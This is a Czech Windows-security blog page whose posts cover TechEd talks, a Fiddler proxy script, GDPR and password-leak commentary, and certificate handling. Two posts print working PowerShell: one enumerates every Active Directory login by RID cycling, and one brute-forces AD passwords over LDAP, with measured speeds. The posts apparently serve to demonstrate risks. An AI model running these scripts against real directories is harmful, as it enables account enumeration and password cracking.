Skip Ribbon Commands
Skip to main content

Ondrej Sevecek's Blog

:

Engineering and troubleshooting by Directory Master!
Ondrej Sevecek's Blog > default
květen 15
TechEd 2018 - řešení nedostatků z přednášky o účtech pro služby

Tak jsem to dořešil, trvalo to cca 5 minut. Sakra, to se tak na přednáškách stává :-)

​a) nejprve mi nešel NIRSOFT nástroj NETPASS, který mi měl zobrazit hesla naplánovaných úloh. Nojo, jenže já jsem spouštěl omylem 32bitovou verzi. NETPASS64 funguje v pohodě.

b) nemohl jsem se také dostat do webové aplikace, kterou jsem přenastavil, aby běžela pod Group Managed Service accountem (gMSA). A přitom bylo vidět, že Kerberos už funguje a ticket mi to vydalo na klientovi v pořádku. Nojo, jenže ona ta aplikace původně běžela pod účtem IIS APPPOOL (ApplicationPoolIdentity) a zůstala jí zapnuta Kernel Mode autentizace. Když jsem ji vypnul, tak se to rozběhlo.

Jsem prostě jenom chaotik :-)

květen 15
TechEd 2018 - Slajdy ze všech přednášek

Jsou (nebo přesněji budou) k nalezení zde https://www.sevecek.com/presentations/teched2018

Postupně to aktualizuji, takže například do Fiddleru jsem přidal registrové klíče k vypnutí Extended Protection for Authentication (neboli Channel Binding) pro RD Gateway

květen 14
TechEd 2018 - Přednáška o Fiddleru

​Slajdy k přednášce o tom, jak jednoduše používat Fiddler k průzkumu HTTPS komunikací, bez ohledu na to, jestli to je prohlížeč, nebo GUI program, si můžete stáhnout zde.

Současně je zde zdrojový kód skriptu pro nastavení proxy (ať už to je Fiddler nebo něco jiného). Baťáček je zajímavé také tím, že si umí sám požádat o zvýšení UAC oprávnění (elevate - spustí se podruhé zvýšeně pomocí parametru -Verb runas):

fiddle.bat

@ECHO OFF

IF "%1" == "noElevate" GOTO NoElevate

powershell -NoLogo -ExecutionPolicy Bypass -Command "Start-Process %~d0%~p0%~n0.bat noElevate -Verb runas"
GOTO Exit

:NoElevate

powershell -NoLogo -ExecutionPolicy Bypass -File "%~d0%~p0%~n0.ps1"

:Exit

fiddle.ps1

[string] $fdl = (Read-Host 'Fiddler machine name (or [-] to reset proxy)').Trim()

if ($fdl -eq '') {

  $fdl = 'localhost'
}

if (($fdl -ne '-') -and ($fdl -ne '[-]')) {

  if ($fdl -notlike '*?:?*') {

    $fdl = '{0}:8888' -f $fdl
  }

  Set-ItemProperty 'Microsoft.PowerShell.Core\Registry::HKEY_USERS\S-1-5-18\Software\Microsoft\Windows\CurrentVersion\Internet Settings' ProxyServer $fdl
  Set-ItemProperty 'Microsoft.PowerShell.Core\Registry::HKEY_USERS\S-1-5-18\Software\Microsoft\Windows\CurrentVersion\Internet Settings' ProxyEnable 1

  Set-ItemProperty 'Microsoft.PowerShell.Core\Registry::HKEY_USERS\S-1-5-19\Software\Microsoft\Windows\CurrentVersion\Internet Settings' ProxyServer $fdl
  Set-ItemProperty 'Microsoft.PowerShell.Core\Registry::HKEY_USERS\S-1-5-19\Software\Microsoft\Windows\CurrentVersion\Internet Settings' ProxyEnable 1

  Set-ItemProperty 'Microsoft.PowerShell.Core\Registry::HKEY_USERS\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings' ProxyServer $fdl
  Set-ItemProperty 'Microsoft.PowerShell.Core\Registry::HKEY_USERS\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings' ProxyEnable 1

  Set-ItemProperty 'Microsoft.PowerShell.Core\Registry::HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings' ProxyServer $fdl
  Set-ItemProperty 'Microsoft.PowerShell.Core\Registry::HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings' ProxyEnable 1

  # Note: for example, the "Bypass proxy for local addresses" would be specified as 
  Remove-ItemProperty 'Microsoft.PowerShell.Core\Registry::HKEY_USERS\S-1-5-18\Software\Microsoft\Windows\CurrentVersion\Internet Settings' ProxyOverride
  Remove-ItemProperty 'Microsoft.PowerShell.Core\Registry::HKEY_USERS\S-1-5-19\Software\Microsoft\Windows\CurrentVersion\Internet Settings' ProxyOverride
  Remove-ItemProperty 'Microsoft.PowerShell.Core\Registry::HKEY_USERS\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings' ProxyOverride
  Remove-ItemProperty 'Microsoft.PowerShell.Core\Registry::HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings' ProxyOverride

  netsh winhttp set proxy $fdl | Out-Null

  $remoteFdl = $fdl.Split(':')[0]
  if (($remoteFdl -ne 'localhost') -and ($remoteFdl -ne '127.0.0.1')) {

    $remoteAdmin = (Read-Host 'Credentials to make Fiddler certificate trusted (or nothing to skip)').Trim()

    if (($remoteAdmin -ne '') -and ($remoteAdmin -ne '-')) {

      $remotePwd = (New-Object System.Management.Automation.PSCredential ('DummyLogin', (Read-Host 'Password' -AsSecureString))).GetNetworkCredential().Password

      [System.Management.ConnectionOptions] $wmiRegOptions = New-Object System.Management.ConnectionOptions
      $wmiRegOptions.Impersonation = [System.Management.ImpersonationLevel]::Impersonate
      $wmiRegOptions.Username = $remoteAdmin
      $wmiRegOptions.Password = $remotePwd
      $wmiRegOptions.EnablePrivileges = $true
      [System.Management.ManagementScope] $wmiRegScope = New-Object System.Management.ManagementScope (('\\{0}\root\default' -f $remoteFdl), $wmiRegOptions)
      $wmiRegScope.Connect()
      [System.Management.ManagementClass] $wmiReg = New-Object System.Management.ManagementClass ($wmiRegScope, 'stdRegProv', $null)

      [System.Management.ManagementBaseObject] $wmiRes = $wmiReg.EnumKey(2147483650, 'Software\Microsoft\SystemCertificates\Root\Certificates')
      foreach ($oneThumbprint in ([string[]] $wmiRes.sNames)) {

        $wmiRes = $wmiReg.GetBinaryValue(2147483650, 'Software\Microsoft\SystemCertificates\Root\Certificates\{0}' -f $oneThumbprint, 'Blob')
        [Security.Cryptography.X509Certificates.X509Certificate2] $oneCert = New-Object Security.Cryptography.X509Certificates.X509Certificate2 @(, ([byte[]] $wmiRes.uValue))

        if ($oneCert.Subject -eq 'CN=DO_NOT_TRUST_FiddlerRoot, O=DO_NOT_TRUST, OU=Created by http://www.fiddler2.com') {

          $rootStore = New-Object System.Security.Cryptography.X509Certificates.X509Store ('Root', 'LocalMachine')
          $rootStore.Open('MaxAllowed')
          $rootStore.Add($oneCert) 
          $rootStore.Close()
        }
      }       
    }
  }

} else {

  Remove-ItemProperty 'Microsoft.PowerShell.Core\Registry::HKEY_USERS\S-1-5-18\Software\Microsoft\Windows\CurrentVersion\Internet Settings' ProxyServer
  Remove-ItemProperty 'Microsoft.PowerShell.Core\Registry::HKEY_USERS\S-1-5-18\Software\Microsoft\Windows\CurrentVersion\Internet Settings' ProxyEnable

  Remove-ItemProperty 'Microsoft.PowerShell.Core\Registry::HKEY_USERS\S-1-5-19\Software\Microsoft\Windows\CurrentVersion\Internet Settings' ProxyServer
  Remove-ItemProperty 'Microsoft.PowerShell.Core\Registry::HKEY_USERS\S-1-5-19\Software\Microsoft\Windows\CurrentVersion\Internet Settings' ProxyEnable

  Remove-ItemProperty 'Microsoft.PowerShell.Core\Registry::HKEY_USERS\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings' ProxyServer
  Remove-ItemProperty 'Microsoft.PowerShell.Core\Registry::HKEY_USERS\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings' ProxyEnable

  Remove-ItemProperty 'Microsoft.PowerShell.Core\Registry::HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings' ProxyServer
  Remove-ItemProperty 'Microsoft.PowerShell.Core\Registry::HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings' ProxyEnable

  netsh winhttp reset proxy | Out-Null
}

Write-Host ('')
Read-Host 'Press ENTER to exit'

 

květen 02
Žvejk

Rozhodl jsem se, že konečně vyřeším letitý problém termínu hash. Buď se to musí používat v prvním pádu, nebo se počeští a skloňuje, což je ještě horší. Bohužel čeština nezná (nebo možná jen já neznám) slovo pro to, co vznikne v ústech po rozkousání a proslinění sousta potravy před tím, než je to odesláno dolů hltanem, nebo vyplivnuto, pokud při zpracování narazíme na něco nechutného. Takže nově zavádím termín:

žvejk

Odpovídající slovesa zavádím:

sežvejknout, žvejkat

Záměrně jsem vybral nespisovnou formu (tedy až do tohoto okamžiku, kdy se to zespisovnilo), aby to bylo v technické dokumentaci jasně čitelné a rozeznatelné na první pohled.

Příklady užití

Dnes už prohlížeče vyžadují certifikáty číslicově podepsané za pomoci moderních žvejků jako je SHA256. Otisk certifikátu se ale stále provádí žvejkem SHA-1, který je k tomu účelu stále dostatečně bezpečný a přitom nabízí výbornou míru slučitelnosti.

Dokument se sežvejkne pomocí SHA256 a to se číslicově podepíše pomocí RSA.

Hesla se obvykle ukládají ve tvaru žvejků. Pokud získáte žvejk hesla, můžete ho zkusit prolomit hrubou silou pomocí různých 3D GPU žvejkaček, nebo zkusit nějakou duhovou tabulku.

duben 13
Co jsou osobní údaje a co musíme chránit

Ach jo. Lidi! Nejhorší je, že ani různí právníci a rádoby poradci prostě nětuší, co to jsou osobní údaje. Takže GDPR definice podle článku 4, odstavec 1:

„osobními údaji“ veškeré informace o identifikované nebo identifikovatelné fyzické osobě ...

Veškeré!

Osobním údajem je tedy také historie nákupů ve vašem e-shopu, detaily o vaší půjčce, informace o tom, že jste si v masně koupili dva párky, že vlastním kolo značky Merida staré 11 let, že můj synek se jmenuje Janek, že máte rádi pálivej stejk, co si stahujete za filmy a které novinové články jste si přečetli, i když jste je nelajkovali, že jste byli na služební cestě v Mnichově, fotka vaší boty i fakt, že pracujete ve firmě XY, značka SPZ vašeho rodinného vozu, hodnota faktury za plyn, teplou vodu a telefon, nebo faktura za novou koupelnu.

Ani jedno z toho předchozího není identifikující údaj. To sice znamená, že podle této informace vás asi nikdo přesně neidentifikuje, nejspíš ani podle kombinace těchto údajů. Ale jsou to pořád vaše osobní údaje a musí požívat dostatečnou ochranu.

Takže není potřeba chránit jenom emailovou adresu a telefonní číslo a fotky obličejů. Ano, to jsou ty identifikující údaje. Ale uvědomte si, že únik samotných identifikujících údajů sám o sobě není zrovna to riziko, kvůli kterému tady GDPR přichází a vůbec stávající ochrana osobních údajů dávno je.

To že unikne seznam emailových adres ohrožuje koho a jak? Jo mohl by vám chodit spam. Tý jo, tak to se třesu strachem. Naopak únik těch prvních neidentifikujících údajů, které je skrze nějaký identifikující (nebo jejich kombinaci) možné navázat na fyzickou osobu, je to skutečné riziko.

Tzn. pokud unikne seznam jmen plus hodnota faktury za stavbu nové koupelny, ohrožuje to fyzické osoby například tím, že se zloději domáknou těch bohatších a půjdou se k nim podívat. Sousedé vám budou závidět a pomlouvat vás, za co utrácíte. Ohrožuje to i ty chudší faktury, protože se jim budou ostatní posmívat, že mají sračkovou koupelnu. Pokud někdo vystaví na netu seznam jmen a SPZ, jasně vás budou někteří hejtovat pokud pojedete někde rychle, pomalu, nebo budete stát, nebo předjíždět, nebo naopak předjíždět nebudete.

Takže chránit je potřeba všechny informace o fyzických osobách, které jsou na tyto osoby nějak, jakkoliv, identifikovatelné.

Při hodnocení úniku je potom potřeba si uvědomit co skutečně uniklo. Ne jestli unikl seznam emailů, hesel a fotek. To jsou všechno jen identifikující údaje, které moc rizika nepředstavují (kromě případu, kdy na fotce máte obřího jebáka co se zrovna chystá prasknout, nebo se drbete na zadku hřebínkem pro panenky).

Aby to byl únik, není ani nutné, aby identifikovatelnost osob byla nějaká "širokopásmová". Stačí, že se někdo, kdo o někom jiném něco nevěděl, je schopen o něm něco dozvědět :-)

Takže si buďte jisti, že i reklamní bilboard Lidl s nabídkou "každá pokladní 25 000+" je tedy kurva zveřejnění osobních údajů! Jestli je kdokoliv schopen přijít do Lidla a vidí tam pokladní, nebo ví, že jeho sousedka je tam pokladní, tak se právě dozvěděl, že ta osoba vydělává 25+.

říjen 25
Nesmysly a skutečná rizika

Už mě začíná otravovat ta šou ohledně KRACKu. Určitě jste o tom taky slyšeli. Prostě jde dešifrovat WPA2. A co jako?

Ono se WiFi snad někdy považovalo samo o sobě za nějak bezpečné? Vždyť to byla vždycky jenom otázka alespoň trošku porovnatelné bezpečnosti s kabelovým ethernetem. Nic lepšího. O nic lepšího se nikdo ani nesnažil. Bylo snad od jakživa jasné, že bez VPN nebo TLS nebo IPSec se vevnitř neobejdete. Na bezpečnost WPA2 doufám nikdo nezávisí.

Takže co je KRACK? Je to prostě jenom pěkná vědecko-kryptologická chyba.

Je tu ale mnohem lepší chyba

https://crocs.fi.muni.cz/public/papers/rsa_ccs17

říjen 05
Změna CSP/KSP poskytovatele v existujícím PFX souboru

Když exportujete certifikát i s jeho soukromým klíčem (private key) tak vytváříte PFX soubor (neboli PKCS12 formát souboru, někdy také přípona P12). Problém na Windows je ten, že tento soubor obsahuje navíc jedno políčko (rozšíření, extension) s názvem kryptografického poskytovatele (cryptographic provider), který daný privátní klíč zrovna spravuje a v němž byl původně uložen.

Poskytovatel je buď tzv. starší CSP (cryptographic services provider), nebo tzv. novější CNG/KSP (cryptography next generation, key storage provider). Jaké všechny takové poskytovatele na počítači máte zjistíte jednoduše pomocí certutil -csplist. Z daného PFX souboru tuto informaci dostanete pomocí certutil -dump.

Soubor PFX je tím pádem na dále vázán na tohoto poskytovatele. Je možné, že na cílovém stroji takový poskytovatel neexistuje. Nebo aplikace, pro kterou certifikát instalujete, neumí právě toho původního použít, i když by byl na počítači k dispozici (viz. velká ne-podpora v mnoha moderních programech).

Název poskytovatele je v souboru uložen jen jako prostý text. Není k tomu nic vázáno, takže pokud je potřeba ho změnit, stačí nějak upravit jeho hodnotu. Samozřejmě by mohly být problémy s importem, pokud byste se snažili dostat do poskytovatele třeba delší privátní klíč, než by on sám uměl, ale to je málo pravděpodobné, běžné certifikáty umí většina z nich.

K úpravě potřebujete ale openssl, protože zabudovaný certutil to neumí. Openssl stáhnete někde na internetu. No a potom už jenom použijete PowerShell:

$pwd = 'Pa$$w0rd'
$openSsl = 'C:\OpenSSL-Win32\bin\openssl.exe'
$pfx = 'C:\ONDRA\pfx-with-wrong-csp-to-replace.pfx'

$newCSP = 'Microsoft Enhanced RSA and AES Cryptographic Provider'

$pem = [IO.Path]::ChangeExtension($pfx, '.pem')
$newPfx = [IO.Path]::ChangeExtension($pfx, '.newCSP.pfx')

Write-Host ('Original PFX file: {0}' -f $pfx) -Fore Green
certutil -dump -p $pwd $pfx

& $openssl pkcs12 -in $pfx -out $pem -passin "pass:$pwd" -passout "pass:$pwd"

& $openssl pkcs12 -export -in $pem -out $newPfx -CSP $newCSP -passin "pass:$pwd" -passout "pass:$pwd"

Write-Host ('New PFX file: {0}' -f $newPfx) -Fore Green
certutil -dump -p $pwd $newPfx
září 29
Seznam všech loginů z Active Directory

Někde to tady mám, ale nemůžu to najít a docela často to potřebuju, takže znovu :-)

Úkol zní - vylistovat všechny loginy z Active Directory (ADDS) za použití minimálních oprávnění a tak, aby to pokud možno šlo kdykoliv. A ono to jde. Bez ohledu na oprávnění, která máte na objektech a organizačních jednotkách v AD, tahle metoda funguje pod jakýmkoliv ověřeným účtem vždy. Protože nepoužívá LDAP připojení, ale nechává si pomocí SAM rozhraní překládat SIDy na loginy. Takže stačí libovolný účet, který je Authenticated Users.

Jak to funguje? Každý účet, účet počítače, nebo skupina má SID. Všechny SIDy v jedné doméně jsou stejné, kromě koncovky (RID). RIDy vznikají tak, že se pouze inkrementují pro každý nový účet. Stačí tedy nechat si přeložit všechny SIDy od 1 do 2 miliard :-) Samozřejmě skončíte jakmile cítíte, že tam už žádné další nebudou.

function global:Get-PrimaryDomainSID ()
{
  # Note: this script obtains SID of the primary AD domain for the local computer. It works both
  #       if the local computer is a domain member (DomainRole = 1 or DomainRole = 3)
  #       or if the local computer is a domain controller (DomainRole = 4 or DomainRole = 4).
  #       The code works even under local user account and does not require calling user
  #       to be domain account. This should also work on any AD domain regardless of language
  #       mutation because, hopefully, the krbtgt account has always the same name

  [string] $domainSID = $null

  [int] $domainRole = gwmi Win32_ComputerSystem | Select -Expand DomainRole
  [bool] $isDomainMember = ($domainRole -ne 0) -and ($domainRole -ne 2)

  if ($isDomainMember) {

    [string] $domain = gwmi Win32_ComputerSystem | Select -Expand Domain
    [string] $krbtgtSID = (New-Object Security.Principal.NTAccount $domain\krbtgt).Translate([Security.Principal.SecurityIdentifier]).Value
    $domainSID = $krbtgtSID.SubString(0, $krbtgtSID.LastIndexOf('-'))
  }

  return $domainSID
}

$domainSID = Get-PrimaryDomainSID

(500..10000) | % { 

  $user = New-Object Security.Principal.SecurityIdentifier $domainSID-$_
  $errorActionPreference = 'SilentlyContinue'
  $user.Translate([Type]::GetType('System.Security.Principal.NTAccount')).Value
  $errorActionPreference = 'Continue'
}
září 26
Hackerfest folouap

Minulý týden byla konference HackerFest, údajně se během ní konal nějaký kvíz pro účastníky, a kdo nejlépe odpovídal, něco asi dostal :-)

Pro zábavu, zde jsou otázky, kterými jsem já přispěl do kvízu. Jo a nejprve ještě prezentace z konference a ještě jedna z TechEd 2017, která se hodí tématicky a byl o ni zájem

HackerFest 2017 - Credentials guard and (non)shielding
TechEd 2017 - UEFI, Secure Boot, TPM and Device Guard

A teď už ty slíbené otázečky. A rovnou upozorňuju, že slovo "renovovanější" je v otázce číslo 3 schválně :-)

  1. Na jedné PC stanici ve větší podnikové Active Directory síti byl při pravidelné noční kontrole souborů na disku objeven malware. IT oddělení odpojilo počítač od sítě, odvezlo na incident response oddělení, kde ho borci odvirovali přímo pomocí stejného antiviru, který nákazu detekoval. Opětovná kontrola souborů na disku už žádný další malware nehlásí. Je možné vrátit počítač zpět do provozu?
    1. ano, je to čisté, když se to odvirovalo
    2. ne, protože stejný antivirus, který to detekoval, to nedokáže spolehlivě odvirovat
    3. ne, protože nákaza se už musela rozšířit po síti a jednoznačně už napadla i další počítače
    4. ne, protože nevíme, co na počítači malware způsobil, jestli to nebyl jenom trojský kůň, skrz kterého se do stroje dostaly další, kdovíjaké nákazy
  2. Na Windows operačních systémech v Active Directory doméně se používá služba (service), která se spouští pod doménových uživatelským účtem. Jedná se o účet vyhrazený pro běh této služby na více počítačích. Heslo tohoto účtu služby se zadává ručně při instalaci této služby na počítačích. Jak je na počítačích dlouhodbě uloženo?
    1. ve formě MD4 hash v HKLM registrech
    2. ve formě MD5 hash pomocí DPAPI
    3. ve formě LM hash v HKCU registrech
    4. v plné formě v HKLM registrech
  3. Podniková Active Directory síť s několika stovkami stanic využívá naplno všechny dostupné software ochrany, které nabízí používané Windows 10 1703 x64 operační systémy. Jedná se zejména o BitLocker, UEFI Secure Boot, Device (Credentials) Guard, UAC, Remote Credentials Guard, Windows Defender, Windows Firewall a pod. Admini se tedy ke správě stanic neobávají používat přímo uživatelské účty, které jsou členem skupiny Domain Admins a to jak pro přihlašování lokálně, tak přes RDP apod. Je to chyba?
    1. není to chyba, v pořádku, tyto technologie je ochrání
    2. není to chyba, jen by to chtělo vyměnit antimalware za nějaký pokročilejší, renovovanější, který navíc optimalizuje registry a paměť
    3. není to chyba, stačí mít hesla dlouhá alespoň 15 znaků a vše je v pořádku
    4. je to chyba, evidentně nikdy neslyšeli pojmy jako SSO, hardware/software keylogger, špionážní kamera atd. Doporučujeme buď vyměnit doktora, nebo alespoň nějaké jiné prášky
  4. V podnikovém prostředí Active Directory sítě je implementována separace privilegovaných účtů správců od účtů uživatelských pro běžnou práci. Ke správě se vždy používají pouze vyhrazené admin účty. Správci mají samozřejmě i osobní uživatelské účty pod kterými pracují s aplikacemi jako je prohlížení internetu, email, helpdesk a různé další podnikové agendy. Privilegované účty jsou používány přesně tak, jak to má být, jen pro správu omezených skupin počítačů na definovaných úrovních rizikovosti. Například účty pro správu Active Directory, účty pro správu serverů, nebo účty pro správu různých skupin stanic a notebooků. I přesto se jeden z obyčejných zaměstnanců dokázal nabourat skrz celou síť. Evidentně nějak zjistil heslo účtu doménového admina. Je to účet správce, který má pod svou kontrolou jak účet člena skupiny Domain Admins, tak i jiný účet správce stanic a další oddělený účet pro správu serverů. Je potvrzeno, že účet žádného doménového admina se na žádné stanici nikdy nepoužil. Útočník nikdy neměl přístup nikam jinam, než ke své doménové stanici a měl k dispozici pouze svůj obyčejný omezený uživatelský účet. Co je nejpravděpodobnější příčina toho, že útočník zjistil heslo účtu doménového admina?
    1. uhádl ho z hlavy na několik pokusů
    2. vyzkoušel ho online přes LDAP spojení na DC pomocí automatického hádače hesel
    3. získal hash tohoto hesla z logon keše na své stanici a kreknul heslo pomocí 3D GPU grafické karty
    4. ten blázen správce má na všech svých oddělených účtech stejné heslo
září 15
Online zkoušečka hesel

Už jsem si dlouho chtěl naprogramovat online zkoušečku hesel vůči Active Directory. Zajímalo mě, jak rychlé to je, když neexistuje zamykání účtů (account lockout). Tak jsem si to naprogramoval.

Výsledek je pro dva druhy ověření různý. Použil jsem NTLMv2 a Simple Bind (neboli Basic autentizaci, tedy plaintextové heslo). Schválně jsem nepoužil Kerberos, protože to by se musely generovat tikety pro každé zkoušené heslo a byť by to tedy selhávalo už dopředu při vydávání Kerberos TGT, tak by to bylo stejně pomalejší. Protože pro každé takové vydání by se muselo nahodit nové TCP spojení a to ještě dvakrát - bez pre-authentication a potom s ní. V případě ldap simple bind je to jenom jeden round-trip.

Takže jen NTLMv2 a simple bind. Používám samozřejmě TLS pro simple bind, protože to může být vyžadováno politikami. Samo TLS nijak výkonu nevadí, protože se to celé odehrává v rámci jednoho, už nahozeného, TCP spojení, takže ani TLS handshake znovu neprobíhá.

Dokáže to zkoušet 230 hesel za sekundu přes NTLMv2.

Nebo 470 hesel za vteřinu přes Simple bind.

function global:Try-LdapPasswordsFast (
    [string] $dc, 
    [string] $login, 
    [string] $domain, 
    [switch] $authBasic, 
    [int] $tryLength = 5,
    [string] $charSet = 'abcdefgh' #'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890'
    )
{
  if (([AppDomain]::CurrentDomain.GetAssemblies() | % { $_.Evidence.Name }) -notcontains 'System.DirectoryServices.Protocols') {

    [void] ([System.Reflection.Assembly]::LoadWithPartialName('System.DirectoryServices.Protocols'))
  }

  [System.DirectoryServices.Protocols.LdapConnection] $conn = $null
  [System.Management.Automation.ActionPreference] $errorActionBackup = $global:errorActionPreference
  $global:errorActionPreference = [System.Management.Automation.ActionPreference]::Stop

  try {

    if ($authBasic -and ($dc -notlike '?*:?*')) {

      $dc = $dc + ':636'
    }

    $conn = New-Object System.DirectoryServices.Protocols.LdapConnection $dc

    if ($authBasic) {

      $conn.SessionOptions.ProtocolVersion = 3
      $conn.SessionOptions.Signing = $false
      $conn.SessionOptions.Sealing = $false
      $conn.SessionOptions.SecureSocketLayer = $true
      $conn.AuthType = [DirectoryServices.Protocols.AuthType]::Basic

    } else {

      $conn.SessionOptions.ProtocolVersion = 3
      $conn.SessionOptions.Signing = $true
      $conn.SessionOptions.Sealing = $false
      $conn.SessionOptions.SecureSocketLayer = $false
      $conn.AuthType = [DirectoryServices.Protocols.AuthType]::Ntlm
    }

    [double] $pwdCount = 1;
    for ($i = 0; $i -lt $tryLength; $i++) { $pwdCount = $pwdCount * $charSet.Length }
    Write-Host ('Will try passwords: len = {0} | charset = {1} | pwds = {2}' -f $tryLength, $charSet.Length, $pwdCount)


    [byte[]] $charMatrix = New-Object byte[] $tryLength
    for ($i = 0; $i -lt $charMatrix.Length; $i ++) { $charMatrix[$i] = 0 }

    [byte] $positionMax = $charSet.Length - 1
    [int] $iteration = 0
    [string] $foundPwd = [string]::Empty
    [System.Text.StringBuilder] $pwdMachine = New-Object System.Text.StringBuilder $charMatrix.Length
    for ($i = 0; $i -lt $charMatrix.Length; $i ++) { [void] $pwdMachine.Append('.') }

    $error.Clear()
    $dtStart = [DateTime]::Now

    do {

      $iteration ++

      [byte] $i = 0
      while ($i -lt $charMatrix.Length) {

        if ($charMatrix[$i] -eq $positionMax) {

          $charMatrix[$i] = 0
          $i ++
          continue
          
        } else {

          $charMatrix[$i] = $charMatrix[$i] + 1
          break
        }
      }

      for ($k = 0; $k -lt $charMatrix.Length; $k ++)
      {
        $pwdMachine[$k] = $charSet[$charMatrix[$k]]
      }

      $onePwd = $pwdMachine.ToString()
    
      $cred = New-Object System.Net.NetworkCredential $login, $onePwd, $domain
      [bool] $check = $true

      try {

        $conn.Bind($cred)

      } catch {

        #Write-Host ('Error on password: {0} | {1}' -f $onePwd, $_.Exception.Message)
        $check = $false
      }

      if ($check) {

        $foundPwd = $onePwd
        break
      }

      if (($iteration % 27000) -eq 0) {

        $dtProcessDiff = [DateTime]::Now - $dtStart
        Write-Host ('Progress at: {0,8:D} | {1} | {2,7:N1} min | pwds/sec = {3:N0}' -f $iteration, $onePwd, $dtProcessDiff.TotalMinutes, (([double] $iteration) / $dtProcessDiff.TotalSeconds))
      }

    } while ($i -lt $charMatrix.Length)

    $dtEnd = [DateTime]::Now

    Write-Host ('Time stats: iterations = {0} | start = {1} | end = {2} | took = {3:N1} min' -f $iteration, $dtStart.ToString('yyyy-MM-dd HH:mm:ss'), $dtEnd.ToString('yyyy-MM-dd HH:mm:ss'), ($dtEnd - $dtStart).TotalMinutes)
    
    if ([string]::IsNullOrEmpty($foundPwd)) {

      Write-Host ('Didnt find the password')

    } else {

      Write-Host ('Found password: {0}' -f $foundPwd)
    }
  
  } catch {

    Write-Host ('Error: {0}' -f $_.Exception.Message)

  } finally {

    if (-not ([object]::Equals($null, $conn))) {

      $conn.Dispose()
    }

    $global:errorActionPreference = $errorActionBackup
  }
}

Tak jen pro představu.

srpen 31
Únik hesel z mall.cz

Pěkně: https://www.lupa.cz/clanky/v-uniku-z-mallu-je-pres-tri-ctvrte-milionu-jmen-hesel-a-telefonnich-cisel-v-citelne-podobe/

Článek se zabývá primárně krádeží hesel, ale vynechal několik podstatných bodů, které je dobré znovu a znovu opakovat až do zblbnutí:

  • řeči o "prolomenosti" MD5 jsou nesmysl. Z MD5 heše se heslo musí stejně pořád krekovat a pořád doba kreku závisí na délce a kvalitě hesla. Možná je to rychleji než dříve, ale pořád brute-force. Takže tahle krádež byla plaintextová.
  • kdo si do citlivých služeb dává stejná hesla, je blázen. Bez ohledu na to jak si to služba ukládá, stejně v nějakém okamžiku vidí heslo v čisté formě (například vyplněné do formuláře). Pokud bude napadena, stejně útočník hesla hostane čistá, když bude chtít.
  • jak víme, že to byl nějaký hacker? Nejspíš to byl inside-job nějakého milého zaměstnance.
  • tady nejde ani tak o krádež nějakých hesel, tady jde o únik osobních údajů. Dnes mají ještě strop 10 000 000 CZK, od května 2018, kdy vstoupí v účinnost nařízení GDPR, budou mít strop na pokutu 10 000 000 EUR a to ještě nepočítám možné soudy s poškozenými a náhrady jejich škod.
  • incidenty se vždycky dějí, nelze jim zabránit, rizika lze pouze minimalizovat. Případně si mohou riziko přenést na někoho jiného. Předpokládám, že začne velký business s pojistkami proti GDPR pokutám :-)
  • a proto taky GDPR zdůrazňuje potřebu anonymizace a pseudonymizace osobních údajů plynoucí z povinnosti zpracovávat osobní údaje jen po opravdu nutnou dobu. Pokud to neděláte, bude pokuta vyšší :-)
srpen 25
Rada špionážním agenturám

Mimochodem - na letošním www.hackerfest.cz zbývá už jen 20 míst!!

Ne že bych si myslel, že je to už dávno nenapadlo samo, ale chtěl jsem na to spíš už několikrát upozornit. Zrovna řešíme u zákazníka problém s tím, že jim někdo nějak z vnitřní sítě krade loginy a zkouší potom z internetu hesla. Dokonce evidentně ví, co jsou zajímavé adminské účty, protože zkouší jen ty "správné". A to tam neexistuje nic, jako výchozí loginy typu administrator, samozřejmě.

Hesla jsou kvalitní, zamykání účtů je zapnuto, ale velký objem pokusů o heslo způsobuje zbytečné provozní problémy.

Zjistit odkud jsou hesla zkoušena není až takový problém. Problém je zjistit, ze kterého z tisíců počítačů se ty naše loginy odesílají útočníkovi. Obecně řečeno, v Active Directory je možno vždy vylistovat seznam loginů, pokud máte LAN připojení na DC a vás listovací program se spouští pod nějakým libovolným (obyčejným) ověřeným účtem. Včetně členství v citlivých skupinách. Viz. můj dřívější článek.

A samozřejmě plno dalších věcí je v sítích alespoň pro čtení.

Stačí, aby si nějaký uživatel stáhnul "užitečný prográmek", který ví co chce zjistit, a může velmi efektivně a nenápadně olíznout celou síť. Nenápadně, protože dělá samozřejmě jen běžné, naprosto legitimní čtení.

Je jasné, že program nic zásadního změnit nemůže, protože běží pod obyčejným uživatelem. Ale zkoumat může. A měnit možná ani nechce.

Odesílání dat do internetu se dneska dělá pomocí DNS dotazů, což je opět zcela legitimní a téměř nedetekovatelné, pokud toho není nějaký velký objem.

Kdyby ten program zkoušel hesla přímo z vnitřní sítě, mohli bychom ho chytit. Ale když je potichoučku a jen občas něco oskenuje, tak to nenajdete. Žádný antivirus vám samozřejmě nepomůže, protože si toho ještě nikdo nevšiml. Protože to nic viditelně špatného nedělá.

A teď k těm špionům

Dneska jsem objevil na technetu další debilní článek s nabídkou bezvadných a zaručeně nepostradatelných prográmků, které vám pomůžou se vším, samy vám utřou zadek, uvaří domácí pivo, podrbou vašeho psa a samozřejmě u toho optimalizují registry a paměť. A hlavně je to ZADARMO! http://technet.idnes.cz/uzitecne-aplikace-pro-kazdy-den-dil-683-dw2-/software.aspx?c=A170728_095345_software_dvr

Já být provozovatelem nějaké špionážní organizace, zaměstnal bych několik programátorů. Není potřeba moc, třeba pět?

A tihle kluci by měli za úkol chrlit kvanta užitečných utilitek. Ideálně věci, které zajímají jak běžného uživatele, tak dokonce správce. Vzpomeňte si sami, kolikrát stahujete z netu nějaké nástroje. Napadají mě tyto příklady:

  • konvertory mediálních formátů a úpravy fotek
  • komprimační a zálohovací programy
  • vytváření ISO a vypalování a grabování a hledání
  • optimalizace registrů, paměti, sítě, databází, odinstalery
